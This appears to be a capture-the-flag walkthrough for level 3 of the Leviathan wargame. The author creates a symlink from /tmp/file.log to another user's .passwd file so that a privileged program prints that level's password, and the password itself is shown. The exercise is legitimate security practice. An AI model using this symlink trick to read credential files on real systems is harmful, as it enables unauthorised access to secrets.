Let’s connect to the server :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
ssh level3@leviathan.intruded.net -p 10101 ************************************************* * Welcome to Intruded.net Wargame Server * * * * * You are playing "Leviathan" * * * Most levels can be found in /wargame * * * Login: level1:leviathan * * * Support: irc.intruded.net #wargames * * * * * * ! Server is restarted every 12 hours * * ! Server is cleaned every reboot * * ! /tmp direcotry is writable * * * * * ************************************************* level3@leviathan.intruded.net's password: Linux leviathan 2.6.18-6-686 #1 SMP Thu Aug 20 21:56:59 UTC 2009 i686 level3@leviathan:~$ |
Let’s directly go to the Wargame folder
1 2 3 |
level3@leviathan:~$ cd /wargame/ level3@leviathan:/wargame$ ls check level4 printfile prog sphinx |
Multiple small program, let’s try them all :
1 2 3 4 5 6 7 8 9 10 11 |
level3@leviathan:/wargame$ ls check level4 printfile prog sphinx level3@leviathan:/wargame$ ./level4 -bash: ./level4: Permission denied level3@leviathan:/wargame$ ./printfile -bash: ./printfile: Permission denied level3@leviathan:/wargame$ ./sphinx -bash: ./sphinx: Permission denied level3@leviathan:/wargame$ ./prog Cannot find /tmp/file.log level3@leviathan:/wargame$ |
It looks like we have to use ./prog
we have to read /home/level4/.passwd …
and ./prog is reading the file /tmp/file.log and printing the content … so let’s link both
1 2 3 4 |
level3@leviathan:/wargame$ ln -s /home/level4/.passwd /tmp/file.log level3@leviathan:/wargame$ ./prog R0gBtSP5 level3@leviathan:/wargame$ |
See you at level four.
Post a Comment